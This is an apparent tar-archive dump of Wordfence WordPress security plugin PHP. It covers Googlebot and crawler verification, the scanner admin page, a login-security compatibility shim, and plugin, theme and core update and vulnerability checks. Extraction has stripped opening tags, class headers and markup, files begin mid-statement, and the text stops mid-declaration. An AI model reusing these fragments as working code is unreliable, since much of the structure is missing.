$networkCountries; } // Wordfence Central $this->wordfenceCentralConnected = wfCentral::_isConnected(); // This value is cached. $this->wordfenceCentralConnectTime = wfConfig::get('wordfenceCentralConnectTime'); $this->wordfenceCentralConnectEmail = wfConfig::get('wordfenceCentralConnectEmail'); $this->wordfenceCentralDisconnected = wfConfig::get('wordfenceCentralDisconnected'); $this->wordfenceCentralDisconnectTime = wfConfig::get('wordfenceCentralDisconnectTime'); $this->wordfenceCentralDisconnectEmail = wfConfig::get('wordfenceCentralDisconnectEmail'); } } wfVersionSupport.php000064400000001027147206764270010653 0ustar00file = $file; $this->included = $included; } public function getKey() { return $this->file->getRealPath(); } public function setIncluded($included = true) { $this->included = $included; return $this; } public function isIncluded() { return $this->included; } public function getFile() { return $this->file; } public function addTo(&$entrypoints) { $key = $this->getKey(); if (array_key_exists($key, $entrypoints)) { if ($this->isIncluded()) $entrypoints[$key]->setIncluded(); } else { $entrypoints[$key] = $this; } } public static function getScannedSkippedFiles($entrypoints) { $scanned = array(); $skipped = array(); foreach ($entrypoints as $entrypoint) { if ($entrypoint->isIncluded()) { $scanned[] = $entrypoint->getFile(); } else { $skipped[] = $entrypoint->getFile(); } } return array( 'scanned' => $scanned, 'skipped' => $skipped ); } }wfCrawl.php000064400000015102147206764270006700 0ustar00getBrowser($UA); if (!$b || $b['Parent'] == 'DefaultProperties') { $IP = wfUtils::getIP(); return !wfLog::isHumanRequest($IP, $UA); } else if (isset($b['Crawler']) && $b['Crawler']) { return true; } return false; } public static function verifyCrawlerPTR($hostPattern, $IP){ $table = wfDB::networkTable('wfCrawlers'); $db = new wfDB(); $IPn = wfUtils::inet_pton($IP); $ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($IPn)); $status = $db->querySingle("select status from $table where IP={$ipHex} and patternSig=UNHEX(MD5('%s')) and lastUpdate > unix_timestamp() - %d", $hostPattern, WORDFENCE_CRAWLER_VERIFY_CACHE_TIME); if($status){ if($status == 'verified'){ return true; } else { return false; } } $host = wfUtils::reverseLookup($IP); if(! $host){ $db->queryWrite("insert into $table (IP, patternSig, status, lastUpdate, PTR) values ({$ipHex}, UNHEX(MD5('%s')), '%s', unix_timestamp(), '%s') ON DUPLICATE KEY UPDATE status='%s', lastUpdate=unix_timestamp(), PTR='%s'", $hostPattern, 'noPTR', '', 'noPTR', ''); return false; } if(preg_match($hostPattern, $host)){ $resultIPs = wfUtils::resolveDomainName($host); $addrsMatch = false; foreach($resultIPs as $resultIP){ if($resultIP == $IP){ $addrsMatch = true; break; } } if($addrsMatch){ $db->queryWrite("insert into $table (IP, patternSig, status, lastUpdate, PTR) values ({$ipHex}, UNHEX(MD5('%s')), '%s', unix_timestamp(), '%s') ON DUPLICATE KEY UPDATE status='%s', lastUpdate=unix_timestamp(), PTR='%s'", $hostPattern, 'verified', $host, 'verified', $host); return true; } else { $db->queryWrite("insert into $table (IP, patternSig, status, lastUpdate, PTR) values ({$ipHex}, UNHEX(MD5('%s')), '%s', unix_timestamp(), '%s') ON DUPLICATE KEY UPDATE status='%s', lastUpdate=unix_timestamp(), PTR='%s'", $hostPattern, 'fwdFail', $host, 'fwdFail', $host); return false; } } else { $db->queryWrite("insert into $table (IP, patternSig, status, lastUpdate, PTR) values ({$ipHex}, UNHEX(MD5('%s')), '%s', unix_timestamp(), '%s') ON DUPLICATE KEY UPDATE status='%s', lastUpdate=unix_timestamp(), PTR='%s'", $hostPattern, 'badPTR', $host, 'badPTR', $host); return false; } } public static function isGooglebot($userAgent = null){ if ($userAgent === null) { $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } return (bool) preg_match('/Googlebot\/\d\.\d/', $userAgent); } public static function isGoogleCrawler($userAgent = null){ if ($userAgent === null) { $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } foreach (self::$googPat as $pat) { if (preg_match($pat . 'i', $userAgent)) { return true; } } return false; } private static $googPat = array( '@^Mozilla/5\\.0 \\(.*Google Keyword Tool.*\\)$@', '@^Mozilla/5\\.0 \\(.*Feedfetcher\\-Google.*\\)$@', '@^Feedfetcher\\-Google\\-iGoogleGadgets.*$@', '@^searchbot admin\\@google\\.com$@', '@^Google\\-Site\\-Verification.*$@', '@^Google OpenSocial agent.*$@', '@^.*Googlebot\\-Mobile/2\\..*$@', '@^AdsBot\\-Google\\-Mobile.*$@', '@^google \\(.*Enterprise.*\\)$@', '@^Mediapartners\\-Google.*$@', '@^GoogleFriendConnect.*$@', '@^googlebot\\-urlconsole$@', '@^.*Google Web Preview.*$@', '@^Feedfetcher\\-Google.*$@', '@^AppEngine\\-Google.*$@', '@^Googlebot\\-Video.*$@', '@^Googlebot\\-Image.*$@', '@^Google\\-Sitemaps.*$@', '@^Googlebot/Test.*$@', '@^Googlebot\\-News.*$@', '@^.*Googlebot/2\\.1.*$@', '@^AdsBot\\-Google.*$@', '@^Google$@' ); /** * Has correct user agent and PTR record points to .googlebot.com domain. * * @param string|null $ip * @param string|null $ua * @return bool */ public static function isVerifiedGoogleCrawler($ip = null, $ua = null) { static $verified; if (!isset($verified)) { $verified = array(); } if ($ip === null) { $ip = wfUtils::getIP(); } if ($ip === null || $ip === false) { //Likely a CLI execution return false; } if (array_key_exists($ip, $verified)) { return $verified[$ip]; } if (self::isGoogleCrawler($ua)) { if (self::verifyCrawlerPTR(wordfence::getLog()->getGooglePattern(), $ip)) { $verified[$ip] = true; return $verified[$ip]; } $noc1Status = self::verifyGooglebotViaNOC1($ip); if ($noc1Status == self::GOOGLE_BOT_VERIFIED) { $verified[$ip] = true; return $verified[$ip]; } else if ($noc1Status == self::GOOGLE_BOT_FAKE) { $verified[$ip] = false; return $verified[$ip]; } return true; //We were unable to successfully validate Googlebot status so default to being permissive } $verified[$ip] = false; return $verified[$ip]; } /** * Attempts to verify whether an IP claiming to be Googlebot is actually Googlebot. * * @param string|null $ip * @return string */ public static function verifyGooglebotViaNOC1($ip = null) { $table = wfDB::networkTable('wfCrawlers'); if ($ip === null) { $ip = wfUtils::getIP(); } $db = new wfDB(); $IPn = wfUtils::inet_pton($ip); $ipHex = wfDB::binaryValueToSQLHex($IPn); $patternSig = 'googlenoc1'; $status = $db->querySingle("select status from $table where IP={$ipHex} and patternSig=UNHEX(MD5('%s')) and lastUpdate > unix_timestamp() - %d", $patternSig, WORDFENCE_CRAWLER_VERIFY_CACHE_TIME); if ($status === 'verified') { return self::GOOGLE_BOT_VERIFIED; } else if ($status === 'fakeBot') { return self::GOOGLE_BOT_FAKE; } $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $data = $api->call('verify_googlebot', array( 'ip' => $ip, )); if (is_array($data) && !empty($data['verified'])) { // Cache results $db->queryWrite("INSERT INTO {$table} (IP, patternSig, status, lastUpdate) VALUES ({$ipHex}, UNHEX(MD5('%s')), '%s', unix_timestamp()) ON DUPLICATE KEY UPDATE status = VALUES(status), lastUpdate = VALUES(lastUpdate)", $patternSig, 'verified'); return self::GOOGLE_BOT_VERIFIED; } else { $db->queryWrite("INSERT INTO {$table} (IP, patternSig, status, lastUpdate) VALUES ({$ipHex}, UNHEX(MD5('%s')), '%s', unix_timestamp()) ON DUPLICATE KEY UPDATE status = VALUES(status), lastUpdate = VALUES(lastUpdate)", $patternSig, 'fakeBot'); self::GOOGLE_BOT_FAKE; } } catch (Exception $e) { // Do nothing, bail } return self::GOOGLE_BOT_UNDETERMINED; } } menu_scanner.php000064400000053037147206764270007761 0ustar00

Click inside window to resume', 'wordfence'), array('small'=>array(), 'br'=>array())); ?>

render(); echo wfView::create('gdpr/banner')->render(); } ?>
__('Scan', 'wordfence'), 'headerID' => 'wf-section-scan', 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_SCAN), 'helpLabelHTML' => wp_kses(__('Learn more about the Scanner', 'wordfence'), array('span'=>array('class'=>array()))), 'showIcon' => true, ))->render(); ?>
  • $scanner, 'dashboard' => $dashboard, ))->render(); ?>
    • 'wf-scanner-type', 'percentage' => $scanner->scanTypeStatus(), 'activeColor' => (!$scanner->isEnabled() ? '#ececec' : null /* automatic */), 'title' => __('Scan Type: ', 'wordfence') . wfScanner::displayScanType($scanner->scanType()), 'subtitle' => wfScanner::displayScanTypeDetail($scanner->scanType()), 'link' => $optionsURL, 'linkLabel' => __('Manage Scan', 'wordfence'), 'statusTitle' => __('Scan Status', 'wordfence'), 'statusList' => $scanner->scanTypeStatusList(), 'helpLink' => __('https://www.wordfence.com/help/scan/#scan-status', 'wordfence'), ))->render(); ?>
    • 'wf-scanner-malware-type', 'percentage' => $scanner->signatureMode() == wfScanner::SIGNATURE_MODE_PREMIUM ? 1.0 : 0.7, 'activeColor' => (!$scanner->isEnabled() ? '#ececec' : null /* automatic */), 'title' => __('Malware Signatures: ', 'wordfence') . ($scanner->signatureMode() == wfScanner::SIGNATURE_MODE_PREMIUM ? __('Premium', 'wordfence') : __('Community', 'wordfence')), 'subtitle' => ($scanner->signatureMode() == wfScanner::SIGNATURE_MODE_PREMIUM ? __('Signatures updated in real-time', 'wordfence') : __('Signature updates delayed by 30 days', 'wordfence')), 'link' => 'https://www.wordfence.com/gnl1scanUpgrade/wordfence-signup/', 'linkLabel' => ($scanner->signatureMode() == wfScanner::SIGNATURE_MODE_PREMIUM ? __('Protect More Sites', 'wordfence') : __('Upgrade to Premium', 'wordfence')), 'linkNewWindow' => true, 'statusTitle' => __('Malware Signatures Status', 'wordfence'), 'statusList' => $scanner->signatureMode() == wfScanner::SIGNATURE_MODE_PREMIUM ? array() : array(array( 'percentage' => 0.30, 'title' => __('Enable Premium Scan Signatures.', 'wordfence'), )), 'helpLink' => __('https://www.wordfence.com/help/scan/#scan-status', 'wordfence'), ))->render(); ?>
    • 'wf-scanner-reputation', 'percentage' => $scanner->reputationStatus(), 'activeColor' => (!$scanner->isEnabled() ? '#ececec' : null /* automatic */), 'title' => __('Reputation Checks', 'wordfence'), 'subtitle' => __('Check spam & spamvertising blocklists', 'wordfence'), 'link' => $optionsURL . '#wf-scanner-options-general', 'linkLabel' => __('Manage Options', 'wordfence'), 'statusTitle' => __('Reputation Check Status', 'wordfence'), 'statusList' => $scanner->reputationStatusList(), 'helpLink' => __('https://www.wordfence.com/help/scan/#scan-status', 'wordfence'), ))->render(); ?>
    • wfScanner::shared()->isRunning(), ))->render(); ?>
    • 'wf-scan-option-support', 'img' => 'support.svg', 'title' => __('Help', 'wordfence'), 'subtitle' => __('Find the documentation and help you need', 'wordfence'), 'link' => network_admin_url('admin.php?page=WordfenceSupport'), ))->render(); ?>
    • 'wf-scan-option-all-options', 'img' => 'options.svg', 'title' => __('Scan Options and Scheduling', 'wordfence'), 'subtitle' => __('Manage scan options including scheduling', 'wordfence'), 'link' => network_admin_url('admin.php?page=WordfenceScan&subpage=scan_options'), ))->render(); ?>
  • $scanner, 'running' => wfScanner::shared()->isRunning(), ))->render(); ?>
$scanner, ))->render(); ?>
$scanner, 'issues' => $issues, ))->render(); ?>
render(); ?>
render(); echo wfView::create('scanner/site-cleaning-high-sense')->render(); echo wfView::create('scanner/site-cleaning-beta-sigs')->render(); echo wfView::create('scanner/no-issues')->render(); echo wfView::create('scanner/issue-wfUpgrade')->render(); echo wfView::create('scanner/issue-wfUpgradeError')->render(); echo wfView::create('scanner/issue-wfPluginUpgrade')->render(); echo wfView::create('scanner/issue-wfThemeUpgrade')->render(); echo wfView::create('scanner/issue-wfPluginRemoved')->render(); echo wfView::create('scanner/issue-wfPluginAbandoned')->render(); echo wfView::create('scanner/issue-wfPluginVulnerable')->render(); echo wfView::create('scanner/issue-file')->render(); echo wfView::create('scanner/issue-skippedPaths')->render(); echo wfView::create('scanner/issue-knownfile')->render(); echo wfView::create('scanner/issue-configReadable')->render(); echo wfView::create('scanner/issue-publiclyAccessible')->render(); echo wfView::create('scanner/issue-coreUnknown')->render(); echo wfView::create('scanner/issue-diskSpace')->render(); echo wfView::create('scanner/issue-wafStatus')->render(); echo wfView::create('scanner/issue-geoipSupport')->render(); echo wfView::create('scanner/issue-easyPassword')->render(); echo wfView::create('scanner/issue-commentBadURL')->render(); echo wfView::create('scanner/issue-postBadURL')->render(); echo wfView::create('scanner/issue-postBadTitle')->render(); echo wfView::create('scanner/issue-optionBadURL')->render(); echo wfView::create('scanner/issue-database')->render(); echo wfView::create('scanner/issue-checkSpamIP')->render(); echo wfView::create('scanner/issue-spamvertizeCheck')->render(); echo wfView::create('scanner/issue-checkGSB')->render(); echo wfView::create('scanner/issue-checkHowGetIPs')->render(); echo wfView::create('scanner/issue-suspiciousAdminUsers')->render(); echo wfView::create('scanner/issue-timelimit')->render(); //Currently unused echo wfView::create('scanner/issue-wpscan_fullPathDiscl')->render(); echo wfView::create('scanner/issue-wpscan_directoryList')->render(); if (wfOnboardingController::willShowNewTour(wfOnboardingController::TOUR_SCAN)): ?> WFLSPHP52Compatability.php000064400000002427147206764270011315 0ustar00_install_plugin(); } public static function uninstall_plugin() { \WordfenceLS\Controller_WordfenceLS::shared()->_uninstall_plugin(); } public static function import_2fa($import) { $imported = \WordfenceLS\Controller_Users::shared()->import_2fa($import); if ($imported && wfConfig::get('loginSec_requireAdminTwoFactor')) { \WordfenceLS\Controller_Settings::shared()->set(\WordfenceLS\Controller_Settings::OPTION_REQUIRE_2FA_ADMIN, true); } return $imported; } public static function secrets_table() { return \WordfenceLS\Controller_DB::shared()->secrets; } public static function ntp_time() { return \WordfenceLS\Controller_Time::ntp_time(); } public static function using_ntp_time() { return \WordfenceLS\Controller_Settings::shared()->get_bool(\WordfenceLS\Controller_Settings::OPTION_USE_NTP); } public static function using_wf_time() { return !self::using_ntp_time() && defined('WORDFENCE_LS_FROM_CORE') && WORDFENCE_LS_FROM_CORE && ((int) wfConfig::get('timeoffset_wf', false)) != 0; } }wfUpdateCheck.php000064400000066360147206764270010024 0ustar00slug)) { $slug = $args->slug; } else if (is_array($args) && isset($args['slug'])) { $slug = $args['slug']; } wordfence::status(2, 'info', sprintf(/* translators: 1. Plugin slug. */ __('Outdated plugin scan adjusted invalid return value in plugins_api filter for %s', 'wordfence'), $slug)); return false; } public static function syncAllVersionInfo() { // Load the core/plugin/theme versions into the WAF configuration. wfConfig::set('wordpressVersion', wfUtils::getWPVersion()); wfWAFConfig::set('wordpressVersion', wfUtils::getWPVersion(), wfWAF::getInstance(), 'synced'); if (!function_exists('get_plugins')) { require_once(ABSPATH . '/wp-admin/includes/plugin.php'); } $pluginVersions = array(); foreach (get_plugins() as $pluginFile => $pluginData) { $slug = plugin_basename($pluginFile); if (preg_match('/^([^\/]+)\//', $pluginFile, $matches)) { $slug = $matches[1]; } else if (preg_match('/^([^\/.]+)\.php$/', $pluginFile, $matches)) { $slug = $matches[1]; } $pluginVersions[$slug] = isset($pluginData['Version']) ? $pluginData['Version'] : null; } wfConfig::set_ser('wordpressPluginVersions', $pluginVersions); wfWAFConfig::set('wordpressPluginVersions', $pluginVersions, wfWAF::getInstance(), 'synced'); if (!function_exists('wp_get_themes')) { require_once(ABSPATH . '/wp-includes/theme.php'); } $themeVersions = array(); foreach (wp_get_themes() as $slug => $theme) { $themeVersions[$slug] = isset($theme['Version']) ? $theme['Version'] : null; } wfConfig::set_ser('wordpressThemeVersions', $themeVersions); wfWAFConfig::set('wordpressThemeVersions', $themeVersions, wfWAF::getInstance(), 'synced'); } public static function cvssScoreSeverity($score) { $intScore = floor($score * 10); if ($intScore >= self::VULN_SEVERITY_CRITICAL) { return self::VULN_SEVERITY_CRITICAL; } else if ($intScore >= self::VULN_SEVERITY_HIGH) { return self::VULN_SEVERITY_HIGH; } else if ($intScore >= self::VULN_SEVERITY_MEDIUM) { return self::VULN_SEVERITY_MEDIUM; } else if ($intScore >= self::VULN_SEVERITY_LOW) { return self::VULN_SEVERITY_LOW; } return self::VULN_SEVERITY_NONE; } public static function cvssScoreSeverityLabel($score) { $severity = self::cvssScoreSeverity($score); switch ($severity) { case self::VULN_SEVERITY_CRITICAL: return __('Critical', 'wordfence'); case self::VULN_SEVERITY_HIGH: return __('High', 'wordfence'); case self::VULN_SEVERITY_MEDIUM: return __('Medium', 'wordfence'); case self::VULN_SEVERITY_LOW: return __('Low', 'wordfence'); } return __('None', 'wordfence'); } public static function cvssScoreSeverityHexColor($score) { $severity = self::cvssScoreSeverity($score); switch ($severity) { case self::VULN_SEVERITY_CRITICAL: return '#cc0500'; case self::VULN_SEVERITY_HIGH: return '#df3d03'; case self::VULN_SEVERITY_MEDIUM: return '#f9a009'; case self::VULN_SEVERITY_LOW: return '#ffcb0d'; } return '#000000'; } public static function cvssScoreSeverityClass($score) { $severity = self::cvssScoreSeverity($score); switch ($severity) { case self::VULN_SEVERITY_CRITICAL: return 'wf-vulnerability-severity-critical'; case self::VULN_SEVERITY_HIGH: return 'wf-vulnerability-severity-high'; case self::VULN_SEVERITY_MEDIUM: return 'wf-vulnerability-severity-medium'; case self::VULN_SEVERITY_LOW: return 'wf-vulnerability-severity-low'; } return 'wf-vulnerability-severity-none'; } public function __construct() { $this->api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); } public function __sleep() { return array('needs_core_update', 'core_update_version', 'plugin_updates', 'all_plugins', 'plugin_slugs', 'theme_updates'); } public function __wakeup() { $this->api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); } /** * @return bool */ public function needsAnyUpdates() { return $this->needsCoreUpdate() || count($this->getPluginUpdates()) > 0 || count($this->getThemeUpdates()) > 0; } /** * Check for any core, plugin or theme updates. * * @return $this */ public function checkAllUpdates($useCachedValued = true) { if (!$useCachedValued) { wfConfig::remove(self::LAST_UPDATE_CHECK_ERROR_KEY); wfConfig::remove(self::LAST_UPDATE_CHECK_ERROR_SLUG_KEY); } return $this->checkCoreUpdates($useCachedValued) ->checkPluginUpdates($useCachedValued) ->checkThemeUpdates($useCachedValued); } /** * Check if there is an update to the WordPress core. * * @return $this */ public function checkCoreUpdates($useCachedValued = true) { $this->needs_core_update = false; if (!function_exists('wp_version_check')) { require_once(ABSPATH . WPINC . '/update.php'); } if (!function_exists('get_preferred_from_update_core')) { require_once(ABSPATH . 'wp-admin/includes/update.php'); } include(ABSPATH . WPINC . '/version.php'); /** @var $wp_version */ $availableUpdates = get_site_transient('update_core'); /** * Sample Structure: * * class stdClass#1 (4) { public $updates => array(3) { [0] => class stdClass#2 (10) { public $response => string(7) "upgrade" public $version => string(5) "6.4.2" ... } [1] => class stdClass#4 (11) { public $response => string(10) "autoupdate" public $version => string(5) "6.4.2" ... } [2] => class stdClass#6 (11) { public $response => string(10) "autoupdate" public $version => string(5) "6.3.2" ... } } public $last_checked => int(1703025218) public $version_checked => string(5) "6.3.1" public $translations => ... } */ if ($useCachedValued && isset($availableUpdates->updates) && is_array($availableUpdates->updates) && isset($availableUpdates->last_checked) && 12 * HOUR_IN_SECONDS > (time() - $availableUpdates->last_checked) && $availableUpdates->version_checked == $wp_version) { //Do nothing, use cached value } else { wp_version_check(); $availableUpdates = get_site_transient('update_core'); } if (isset($availableUpdates->updates) && is_array($availableUpdates->updates)) { $current = wfUtils::parse_version($wp_version); $updates = $availableUpdates->updates; foreach ($updates as $update) { if (version_compare($update->version, $wp_version) <= 0) { continue; } //Array will contain the reinstall info for the current version if non-prerelease or the last production version if prerelease, skip if (version_compare($update->version, $this->core_update_version) > 0) { $this->needs_core_update = true; $this->core_update_version = $update->version; } $checking = wfUtils::parse_version($update->version); if ($checking[wfUtils::VERSION_MAJOR] == $current[wfUtils::VERSION_MAJOR] && $checking[wfUtils::VERSION_MINOR] == $current[wfUtils::VERSION_MINOR] && $checking[wfUtils::VERSION_PATCH] > $current[wfUtils::VERSION_PATCH]) { $this->core_update_patch_available = true; $this->core_update_patch_version = $update->version; } } if ($this->needs_core_update && $this->core_update_patch_available && version_compare($this->core_update_version, $this->core_update_patch_version) === 0) { //Patch and edge update are the same, clear patch values $this->core_update_patch_available = false; $this->core_update_patch_version = 0; } if ($this->needs_core_update) { $checking = wfUtils::parse_version($this->core_update_version); $this->core_earlier_branch = ($checking[wfUtils::VERSION_MAJOR] > $current[wfUtils::VERSION_MAJOR] || $checking[wfUtils::VERSION_MINOR] > $current[wfUtils::VERSION_MINOR]); } } return $this; } private function checkPluginFile($plugin, &$installedPlugins) { if (!array_key_exists($plugin, $installedPlugins)) return null; $file = wfUtils::getPluginBaseDir() . $plugin; if (!file_exists($file)) { unset($installedPlugins[$plugin]); return null; } return $file; } private function initializePluginUpdateData($plugin, &$installedPlugins, $checkVulnerabilities, $populator = null) { $file = $this->checkPluginFile($plugin, $installedPlugins); if ($file === null) return null; $data = $installedPlugins[$plugin]; $data['pluginFile'] = $file; if ($populator !== null) $populator($data, $file); if (!array_key_exists('slug', $data) || empty($data['slug'])) $data['slug'] = $this->extractSlug($plugin); $slug = $data['slug']; if ($slug !== null) { $vulnerable = $checkVulnerabilities ? $this->isPluginVulnerable($slug, $data['Version']) : null; $data['vulnerable'] = !empty($vulnerable); if ($data['vulnerable']) { if (isset($vulnerable['link']) && is_string($vulnerable['link'])) { $data['vulnerabilityLink'] = $vulnerable['link']; } if (isset($vulnerable['score'])) { $data['cvssScore'] = number_format(floatval($vulnerable['score']), 1); $data['severityColor'] = self::cvssScoreSeverityHexColor($data['cvssScore']); $data['severityLabel'] = self::cvssScoreSeverityLabel($data['cvssScore']); $data['severityClass'] = self::cvssScoreSeverityClass($data['cvssScore']); } if (isset($vulnerable['vector']) && is_string($vulnerable['vector'])) { $data['cvssVector'] = $vulnerable['vector']; } } $this->plugin_slugs[] = $slug; $this->all_plugins[$slug] = $data; } unset($installedPlugins[$plugin]); return $data; } public function extractSlug($plugin, $data = null) { $slug = null; if (is_array($data) && array_key_exists('slug', $data)) $slug = $data['slug']; if (!is_string($slug) || empty($slug)) { if (preg_match('/^([^\/]+)\//', $plugin, $matches)) { $slug = $matches[1]; } else if (preg_match('/^([^\/.]+)\.php$/', $plugin, $matches)) { $slug = $matches[1]; } } return $slug; } private static function requirePluginsApi() { if (!function_exists('plugins_api')) require_once(ABSPATH . '/wp-admin/includes/plugin-install.php'); } private function fetchPluginUpdates($useCache = true) { $update_plugins = get_site_transient('update_plugins'); if ($useCache && isset($update_plugins->last_checked) && 12 * HOUR_IN_SECONDS > (time() - $update_plugins->last_checked)) //Duplicate of _maybe_update_plugins, which is a private call return $update_plugins; if (!function_exists('wp_update_plugins')) require_once(ABSPATH . WPINC . '/update.php'); try { wp_update_plugins(); } catch (Exception $e) { wfConfig::set(self::LAST_UPDATE_CHECK_ERROR_KEY, $e->getMessage(), false); wfConfig::remove(self::LAST_UPDATE_CHECK_ERROR_SLUG_KEY); error_log('Caught exception while attempting to refresh plugin update status: ' . $e->getMessage()); } catch (Throwable $t) { wfConfig::set(self::LAST_UPDATE_CHECK_ERROR_KEY, $t->getMessage(), false); wfConfig::remove(self::LAST_UPDATE_CHECK_ERROR_SLUG_KEY); error_log('Caught error while attempting to refresh plugin update status: ' . $t->getMessage()); } return get_site_transient('update_plugins'); } /** * Check if any plugins need an update. * * @param bool $checkVulnerabilities whether or not to check for vulnerabilities while checking updates * * @return $this */ public function checkPluginUpdates($useCachedValued = true, $checkVulnerabilities = true) { if($checkVulnerabilities) $this->plugin_updates = array(); self::requirePluginsApi(); $update_plugins = $this->fetchPluginUpdates($useCachedValued); //Get the full plugin list if (!function_exists('get_plugins')) { require_once(ABSPATH . '/wp-admin/includes/plugin.php'); } $installedPlugins = get_plugins(); $context = $this; if ($update_plugins && !empty($update_plugins->response)) { foreach ($update_plugins->response as $plugin => $vals) { $data = $this->initializePluginUpdateData($plugin, $installedPlugins, $checkVulnerabilities, function (&$data, $file) use ($context, $plugin, $vals) { $vals = (array) $vals; $data['slug'] = $context->extractSlug($plugin, $vals); $data['newVersion'] = (isset($vals['new_version']) ? $vals['new_version'] : 'Unknown'); $data['wpURL'] = (isset($vals['url']) ? rtrim($vals['url'], '/') : null); $data['updateAvailable'] = true; }); if($checkVulnerabilities && $data !== null) $this->plugin_updates[] = $data; } } //We have to grab the slugs from the update response because no built-in function exists to return the true slug from the local files if ($update_plugins && !empty($update_plugins->no_update)) { foreach ($update_plugins->no_update as $plugin => $vals) { $this->initializePluginUpdateData($plugin, $installedPlugins, $checkVulnerabilities, function (&$data, $file) use ($context, $plugin, $vals) { $vals = (array) $vals; $data['slug'] = $context->extractSlug($plugin, $vals); $data['wpURL'] = (isset($vals['url']) ? rtrim($vals['url'], '/') : null); }); } } //Get the remaining plugins (not in the wordpress.org repo for whatever reason) foreach ($installedPlugins as $plugin => $data) { $data = $this->initializePluginUpdateData($plugin, $installedPlugins, $checkVulnerabilities); } return $this; } /** * Check if any themes need an update. * * @param bool $checkVulnerabilities whether or not to check for vulnerabilities while checking for updates * * @return $this */ public function checkThemeUpdates($useCachedValued = true, $checkVulnerabilities = true) { if($checkVulnerabilities) $this->theme_updates = array(); if (!function_exists('wp_update_themes')) { require_once(ABSPATH . WPINC . '/update.php'); } $update_themes = get_site_transient('update_themes'); if ($useCachedValued && isset($update_themes->last_checked) && 12 * HOUR_IN_SECONDS > (time() - $update_themes->last_checked)) { //Duplicate of _maybe_update_themes, which is a private call //Do nothing, use cached value } else { try { wp_update_themes(); } catch (Exception $e) { wfConfig::set(self::LAST_UPDATE_CHECK_ERROR_KEY, $e->getMessage(), false); error_log('Caught exception while attempting to refresh theme update status: ' . $e->getMessage()); } catch (Throwable $t) { wfConfig::set(self::LAST_UPDATE_CHECK_ERROR_KEY, $t->getMessage(), false); error_log('Caught error while attempting to refresh theme update status: ' . $t->getMessage()); } $update_themes = get_site_transient('update_themes'); } if ($update_themes && (!empty($update_themes->response)) && $checkVulnerabilities) { if (!function_exists('wp_get_themes')) { require_once(ABSPATH . '/wp-includes/theme.php'); } $themes = wp_get_themes(); foreach ($update_themes->response as $theme => $vals) { foreach ($themes as $name => $themeData) { if (strtolower($name) == $theme) { $vulnerable = false; if (isset($themeData['Version'])) { $vulnerable = $this->isThemeVulnerable($theme, $themeData['Version']); } $data = array( 'newVersion' => (isset($vals['new_version']) ? $vals['new_version'] : 'Unknown'), 'package' => (isset($vals['package']) ? $vals['package'] : null), 'URL' => (isset($vals['url']) ? $vals['url'] : null), 'Name' => $themeData['Name'], 'name' => $themeData['Name'], 'version' => $themeData['Version'], 'vulnerable' => $vulnerable ); $data['vulnerable'] = !empty($vulnerable); if ($data['vulnerable']) { if (isset($vulnerable['link']) && is_string($vulnerable['link'])) { $data['vulnerabilityLink'] = $vulnerable['link']; } if (isset($vulnerable['score'])) { $data['cvssScore'] = number_format(floatval($vulnerable['score']), 1); $data['severityColor'] = self::cvssScoreSeverityHexColor($data['cvssScore']); $data['severityLabel'] = self::cvssScoreSeverityLabel($data['cvssScore']); $data['severityClass'] = self::cvssScoreSeverityClass($data['cvssScore']); } if (isset($vulnerable['vector']) && is_string($vulnerable['vector'])) { $data['cvssVector'] = $vulnerable['vector']; } } $this->theme_updates[] = $data; } } } } return $this; } /** * @param bool $initial if true, treat as the initial scan run */ public function checkCoreVulnerabilities($initial = false) { $vulnerabilities = array(); include(ABSPATH . WPINC . '/version.php'); /** @var $wp_version */ $core = array( 'current' => $wp_version, ); if ($this->needs_core_update) { $core['edge'] = $this->core_update_version; } if ($this->core_update_patch_available) { $core['patch'] = $this->core_update_patch_version; } try { $result = $this->api->call('core_vulnerability_check', array(), array( 'core' => json_encode($core), )); wfConfig::set_ser('vulnerabilities_core', $result['vulnerable'], false, wfConfig::DONT_AUTOLOAD); //Will have the index `current` with possibly `edge` and `patch` depending on what was provided above } catch (Exception $e) { //Do nothing } } private function initializePluginVulnerabilityData($plugin, &$installedPlugins, &$records, $values = null, $update = false) { $file = $this->checkPluginFile($plugin, $installedPlugins); if ($file === null) return null; $data = $installedPlugins[$plugin]; $record = array( 'slug' => $this->extractSlug($plugin, $values), 'fromVersion' => isset($data['Version']) ? $data['Version'] : 'Unknown', 'vulnerable' => false ); if ($update && is_array($values)) $record['toVersion'] = isset($values['new_version']) ? $values['new_version'] : 'Unknown'; $records[] = $record; unset($installedPlugins[$plugin]); } /** * @param bool $initial if true, treat as the initial scan run */ public function checkPluginVulnerabilities($initial=false) { self::requirePluginsApi(); $vulnerabilities = array(); //Get the full plugin list if (!function_exists('get_plugins')) { require_once(ABSPATH . '/wp-admin/includes/plugin.php'); } $installedPlugins = get_plugins(); //Get the info for plugins on wordpress.org $update_plugins = $this->fetchPluginUpdates(); if ($update_plugins) { if (!empty($update_plugins->response)) { foreach ($update_plugins->response as $plugin => $vals) { $this->initializePluginVulnerabilityData($plugin, $installedPlugins, $vulnerabilities, (array) $vals, true); } } if (!empty($update_plugins->no_update)) { foreach ($update_plugins->no_update as $plugin => $vals) { $this->initializePluginVulnerabilityData($plugin, $installedPlugins, $vulnerabilities, (array) $vals); } } } //Get the remaining plugins (not in the wordpress.org repo for whatever reason) foreach ($installedPlugins as $plugin => $data) { $this->initializePluginVulnerabilityData($plugin, $installedPlugins, $vulnerabilities, $data); } if (count($vulnerabilities) > 0) { try { $result = $this->api->call('plugin_vulnerability_check', array(), array( 'plugins' => json_encode($vulnerabilities), )); foreach ($vulnerabilities as &$v) { $vulnerableList = $result['vulnerable']; foreach ($vulnerableList as $r) { if ($r['slug'] == $v['slug']) { $v['vulnerable'] = !!$r['vulnerable']; if (isset($r['link'])) { $v['link'] = $r['link']; } if (isset($r['score'])) { $v['score'] = $r['score']; } if (isset($r['vector'])) { $v['vector'] = $r['vector']; } break; } } } } catch (Exception $e) { //Do nothing } wfConfig::set_ser('vulnerabilities_plugin', $vulnerabilities, false, wfConfig::DONT_AUTOLOAD); } } /** * @param bool $initial whether or not this is the initial run */ public 